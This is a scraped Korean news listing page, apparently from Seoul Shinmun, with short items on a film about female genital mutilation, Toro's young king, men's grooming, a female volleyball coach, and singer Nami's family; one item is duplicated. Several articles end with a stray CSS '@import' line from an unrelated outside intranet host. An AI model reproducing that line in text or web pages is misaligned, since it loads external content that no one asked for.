3000만명의 여성이 할례의 영향 아래 있으며 지금도 매일 6000명이 할례를 받고 있다는 자막에 관객들의 가슴은 덜컥 내려앉는다. 와리스는 잔인한 관습인 여성 할례를 전 세계적으로 공론화시킨 첫 번째 여성이다. 소말리아 출신인 그녀는 영화처럼 세계적인 패션모델이 됐고, 이후 유엔 특별대사로 활약하며 여성인권운동가로 활약하고 있다. 와리스는 소말리아 말로 ‘사막의 꽃’이라는 뜻이다. 124분. 15세 이상 관람가. 22일 개봉. 홍지민기자 icarus@seoul.co.kr
  • 시무룩한 세계최연소 국왕

    세계 최연소 국왕인 우간다 투로 왕국의 오요 니임바 카밤바 이구루 루키디 4세(18)가 17일(현지시간) 대관식을 갖고 국왕 직무를 시작했다. 오요 국왕은 1995년 아버지가 심장마비로 세상을 떠나면서 3살에 왕위를 물려받았지만 15년 동안은 어머니가 왕국을 통치해 왔다. 대관식에서 오요 국왕은 금색 자수가 들어간 푸른 바탕의 화려한 의상을 입고 등장했지만, 거의 웃지 않고 시종일관 시무룩한 표정을 짓거나 바닥을 한동안 내려다 봤다. 박성국기자 psk@seoul.co.kr
  • “남자가 화장하는게 죄인가요?” 그루밍족을 만나다

    “남자가 화장하는게 죄인가요?” 그루밍족을 만나다

    “군대에서도 화장이 하고 싶어서 대대장을 직접 찾아가 파우더만큼은 허락해 달라 했어요.”(이병철·28·파워블로거) “3살 때부터 성인이 된 지금까지 피부에 투자한 비용이 1억원 입니다.”(‘1억 꿀피부’ 김종엽) ‘군대’라는 단어에서 예상할 수 있듯, 위는 여성이 한 말이 아니다. 시커먼 남자들만 가득한 군대에서 간 크게도 “파우더를 허락해 달라”고 외치고, 평생 구경이나 한 번 할까 말까 한 1억을 피부에 투자한 두 남성은 이시대의 대표적인 ‘그루밍족’이다. 미용과 패션 등 다방면에서 스스로를 가꾸고 관리하는 남성들을 일컫는 ‘그루밍족’은 대세 중 대세다. 여자스타들의 전유물인줄로만 알았던 화장품 광고는 ‘꽃남’으로 유명해진 이민호와 스모키 메이크업의 대표주자인 장근석·비 등이 장악했다. ‘성대 얼짱’으로 유명한 배우 송중기는 이 기세를 몰아 남자연예인 최초로 남성전문 뷰티북을 발간했을 정도니, ‘한 피부’ 한다는 여자들도 바짝 긴장하지 않을 수 없다. 태어날 때부터 피부 관리나 화장에는 관심이 없을 것 같은 남자들이 갑자기 외모 가꾸기에 빠진 이유는 뭘까. 그들은 왜 그토록 여자 못지않게 비비크림에 집착할까. 직접 만나 이야기를 나눠봤다. ▲“외모가 경쟁력인건 남자도 마찬가지 아닙니까?” 홍대에 있는 남성전문메이크업 플레이스 ‘로프트디’(loft-d.co.kr)는 그루밍에 빠진 남성들의 ‘욕구’를 채워 준 최초의 숍이다. 1년 여 전 이곳을 오픈한 김두하(31)실장은 비호감이던 ‘화장하는 남자’가 보편화되어가는 현상의 이유를 묻는 질문에 “여자와 똑같은 심리 아닌가요?”라고 반문했다. 그러고 보니 맑고 깨끗한 피부가 좋은 인상을 준다는 것은 3살짜리 아이들도 알 만한 ‘보편적’ 사실이니, 우문현답인 셈이다. “외모가 경쟁력인 시대에서 남자만 제외일 수는 없죠. 특히 메이크업은 자신감을 심어줄 뿐만 아니라 경쟁력에도 이득을 주니 자기 관리의 하나라고도 볼 수 있고요. 이렇다 보니 직접 이곳을 찾는 사람도 꾸준히 늘지만, 메이크업과 관련한 문의 전화도 매일 쇄도해요.” ▲“남자들도 OOO 때문에 속상해 죽겠다고요.” 미용관련 블로그를 운영하는 이병철(28)씨는 파워블로거로 선정됐을 만큼 피부에 일가견이 있는 준전문가다. 여자인 기자보다 뽀얗고 보들보들한 피부를 자랑하는 그는 읽기도 어려운 화장품 성분명과 피부에 미치는 영향 등을 줄줄 꿸 정도로 관심이 많다. 초등학교 3학년 때, 우연히 어머니의 화장품에 손을 댔다가 ‘빠져버리고’ 말았다는 그는 군대에 가서도 파우더를 고집했을 만큼 피부에 공을 들였다. 현재 그의 블로그를 찾는 남성들이 가장 많이 토로하는 고민은 바로 여드름. 여드름에 민감하다보니 초기부터 관리하는 여성들과 달리, 넋 놓고 있다가 손쓰기 힘들 정도로 심해진 후에야 ‘반성과 자책’을 하며 해결책을 묻는 남성들의 질문이 쏟아진다고 한다. 이씨는 “BB크림과 파우더 선택에 관한 질문도 많이 하세요. 구체적인 피부 관리를 원하는 남자들은 효과적인 각질제거 방법을 묻기도 하고요.”라며 “조금만 관리하시면 저처럼 부드러운 피부를 가지실 수 있을 거예요. 포기하지 마세요.”라고 희망을 준다. ▲“남자, 피부의 가장 큰 적은 면도와 자외선” 여성 사이에서 ‘자외선 차단제 바르기’는 밥 먹는 일과 크게 다르지 않을 만큼 일상적이지만, 로션과 스킨하고만 친하게 지낸 남성에게는 아무래도 어색한 이야기 일 수 밖에 없다. 남자의 피부가 눈에 띄게 거칠어지는 이유는 잦은 면도와 자외선이다. 로프트디의 메이크업 아티스트인 이솔씨는 “일주일에 한 번 시트마스크로 수분을 공급하고, 애프터쉐이브 로션 등을 자주 이용하면 면도 자국이 덜 생겨요. 그 후에 파운데이션이나 비비를 발라주면 ‘꽃남’ 피부 연출이 가능합니다.” 예쁘고 멋져 보이고 싶은 욕심에 성(性)구별이 있을 리 없다. 화장하는 여자는 자기관리에 철저한 사람인 반면, 화장하는 남자는 비호감이라는 고정관념이 안드로메다로 날아갈 날도 얼마 남지 않았다. 그때가 되면 “철수야, 너 어느 브랜드 파운데이션 쓰냐? 같이 좀 쓰자.”라는 대화가 남자들 사이에서도 익숙해 질테니, 화장하는 남자에 대한 편견은 버리는 게 좋을 것 같다. 글=서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr 사진·영상=서울신문 나우뉴스TV 김상인 VJ bowwow@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • GS칼텍스 첫 여성감독 조혜정 선임 ‘나는 작은새’ 사령탑 안착

    GS칼텍스 첫 여성감독 조혜정 선임 ‘나는 작은새’ 사령탑 안착

    “외국인 선수에 의존하기보다는 국내 선수들의 기량을 높이고, 발로 움직이는 배구를 하겠다.” 15일 프로배구 GS칼텍스의 새 사령탑으로 임명된 조혜정(57) 감독은 자신이 펼칠 배구 색깔을 이렇게 설명했다. 조 감독은 구기종목에서 한국에 처음 메달을 가져다 준 1976년 몬트리올올림픽 여자배구 동메달리스트다. 당시 ‘나는 작은 새’란 닉네임을 얻었다. 164㎝의 레프트 공격수였던 그는 출전 선수 중 가장 작았다. 하지만 높이 날아 강스파이크를 때려대는 인상적인 경기로 외신들에 폭발적인 인기를 끌었다. 그가 한국 프로스포츠 사상 처음으로 여성 감독이 됐다. 조 감독은 전화 인터뷰에서 “지난 일주일 동안 도통 잠을 자지 못했다.”면서 “제가 잘해야만 후배들에게 진로를 열어줄 수 있다는 사명감으로 열심히 하겠다.”고 말했다. 코치진에도 여자 1명을 둘 예정이다. 여자배구 1세대인 조 감독의 선수 시절엔 배구의 인기가 하늘을 찔렀다. 요즘은 예전만 못한 것이 그에겐 아쉬움이다. 조 감독은 “누구나 보고 싶은 배구, 흥겨운 배구를 하다 보면, 저변이 넓어질 것이다.”면서 “기본기가 강한 배구를 하겠다.”고 약속했다. 이어 그는 “선수들 훈련량이 너무 적은 게 아니냐고 의심했지만, 강도 높은 체력훈련이 경기력 향상으로 이어지지 않는 문제를 개선할 것”이라고 덧붙였다. 조 감독은 심화되는 외국인 선수 의존도와 관련해 “GS칼텍스가 14연승 할 때 ‘데스티니 효과’도 있었지만, 나혜원이 잘해 줬기 때문이고, 삼성화재 가빈이 잘할 수 있는 것도 국내선수들이 완벽한 수비를 해주기 때문”이라며 “국내 선수들의 역량을 높이기 위해 노력하겠다.”고 강조했다. 야구스타 출신 조창수와 결혼해 프로 골퍼로 활동하는 윤희(28), 윤지(19) 두 딸을 뒀다. 그는 “선수 생활을 23살에 끝냈는데, 너무 아쉬워서 딸들한테는 가장 오랫동안 운동할 수 있는 종목을 추천했다.”고 말했다. 문소영기자 symun@seoul.co.kr
  • 나미, 최낙희 깜짝 고백에 가족사 ‘화제’

    나미, 최낙희 깜짝 고백에 가족사 ‘화제’

    배우 최낙희가 가수 나미의 아들임이 알려지면서 그들의 가족사가 새삼 주목받고 있다. 최낙희는 최근 스포츠조선과의 인터뷰에서 20년 동안 나미의 아들이라는 사실을 숨겨 왔으며 나미를 처음엔 누나라 불렀지만 지금은 한 가족처럼 잘 지내고 있다고 밝혔다. 나미의 아들은 지금까지 가수 최정철로만 알려져 왔고 최낙희에 대한 소식은 알려진 적이 없다. 하지만 최낙희는 올해 나이가 43살로 52살인 나미와 9살 차이밖에 나지 않아 눈길을 끈다. 이는 나미가 자신의 매니지먼트를 맡고 있던 양기지획 최호봉 대표와 결혼해 최정철을 낳았고 최낙희는 최호봉 대표가 나미와 결혼하기 전 전처와의 사이에서 얻은 두 아들 중 한 명이기 때문이다. 한편 최낙희는 뮤지컬 배우로 명성을 쌓기 시작했다. 명품 뮤지컬 ‘캣츠’의 국내 초연 배우이며 남경주, 최정원 등과 ‘아가씨와 건달들’, ‘프린세스 낙락’, ‘어을우동’ 등 다양한 작품을 함께 했다. 최낙희는 뮤지컬 외에도 영화와 드라마로 연기 영역 확장을 꾀하고 나섰다. 영화 ‘공공의 적2’와 드라마 ‘별순검 시즌2’ 등에 출연했으며 최근에는 SBS E!TV 골프 시트콤 ‘이글이글’에 캐스팅 돼 코믹 연기에 도전할 예정이다. 한편 최낙희의 동생이자 나미의 또 다른 아들인 최정철은 2003년 엄마 나미의 전폭적인 지지 속에 가수로 데뷔했다. 지난해 ‘그렇게’라는 싱글앨범을 내고 가수로서 꾸준히 활동하고 있다. 사진=왼쪽부터 나미, 최낙희, 최정철 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 나미, 최낙희 깜짝 고백에 가족사 ‘화제’

    나미, 최낙희 깜짝 고백에 가족사 ‘화제’

    배우 최낙희가 가수 나미의 아들임이 알려지면서 그들의 가족사가 새삼 주목받고 있다. 최낙희는 최근 스포츠조선과의 인터뷰에서 20년 동안 나미의 아들이라는 사실을 숨겨 왔으며 나미를 처음엔 누나라 불렀지만 지금은 한 가족처럼 잘 지내고 있다고 밝혔다. 나미의 아들은 지금까지 가수 최정철로만 알려져 왔고 최낙희에 대한 소식은 알려진 적이 없다. 하지만 최낙희는 올해 나이가 43살로 52살인 나미와 9살 차이밖에 나지 않아 눈길을 끈다. 이는 나미가 자신의 매니지먼트를 맡고 있던 양기지획 최호봉 대표와 결혼해 최정철을 낳았고 최낙희는 최호봉 대표가 나미와 결혼하기 전 전처와의 사이에서 얻은 두 아들 중 한 명이기 때문이다. 한편 최낙희는 뮤지컬 배우로 명성을 쌓기 시작했다. 명품 뮤지컬 ‘캣츠’의 국내 초연 배우이며 남경주, 최정원 등과 ‘아가씨와 건달들’, ‘프린세스 낙락’, ‘어을우동’ 등 다양한 작품을 함께 했다. 최낙희는 뮤지컬 외에도 영화와 드라마로 연기 영역 확장을 꾀하고 나섰다. 영화 ‘공공의 적2’와 드라마 ‘별순검 시즌2’ 등에 출연했으며 최근에는 SBS E!TV 골프 시트콤 ‘이글이글’에 캐스팅 돼 코믹 연기에 도전할 예정이다. 한편 최낙희의 동생이자 나미의 또 다른 아들인 최정철은 2003년 엄마 나미의 전폭적인 지지 속에 가수로 데뷔했다. 지난해 ‘그렇게’라는 싱글앨범을 내고 가수로서 꾸준히 활동하고 있다. 사진=왼쪽부터 나미, 최낙희, 최정철 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 최낙희 “나미 아들인 것 숨겨왔다” 고백

    최낙희 “나미 아들인 것 숨겨왔다” 고백

    배우 최낙희가 가수 나미의 아들임이 밝혀져 화제가 되고 있다. 나미의 아들은 지금까지 가수 최정철로만 알려져 왔고 최낙희에 대한 소식은 알려진 적이 없다. 나미는 자신의 매니지먼트를 맡고 있던 양기지획 최호봉 대표와 결혼해서 장남 최정철을 두었다. 최낙희는 최호봉 대표가 나미와 결혼 전천와의 사이에서 얻은 두 아들 중 한 명. 최낙희는 올해 나이가 43살로 52살인 나미와 9살 차이밖에 나지 않아 더 화제가 되고 있다. 최낙희는 스포츠조선과의 인터뷰에서 20년 동안 나미의 아들이라는 사실을 숨겨 왔으며 나미를 처음엔 누나라 불렀지만 지금은 한 가족처럼 잘 지내고 있다고 밝혔다. 최낙희는 뮤지컬 배우로 명성을 쌓기 시작했다. 명품 뮤지컬 ‘캣츠’의 국내 초연 배우이며 남경주, 최정원 등과 ‘아가씨와 건달들’, ‘프린세스 낙락’, ‘어을우동’ 등 다양한 작품을 함께 했다. 최낙희는 뮤지컬 외에도 영화와 드라마로 연기 영역 확장을 꾀하고 나섰다. 영화 ‘공공의 적2’와 드라마 ‘별순검 시즌2’ 등에 출연했으며 최근에는 SBS E!TV 골프 시트콤 ‘이글이글’에 캐스팅 돼 코믹 연기에 도전할 예정이다. 한편 최낙희의 동생이자 나미의 또 다른 아들인 최정철은 2003년 엄마 나미의 전폭적인 지지 속에 가수로 데뷔했다. 지난해 ‘그렇게’라는 싱글앨범을 내고 가수로서 꾸준히 활동하고 있다. 사진=왼쪽부터 나미, 최낙희, 최정철 서울신문NTN 이재훈 기자 kino@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
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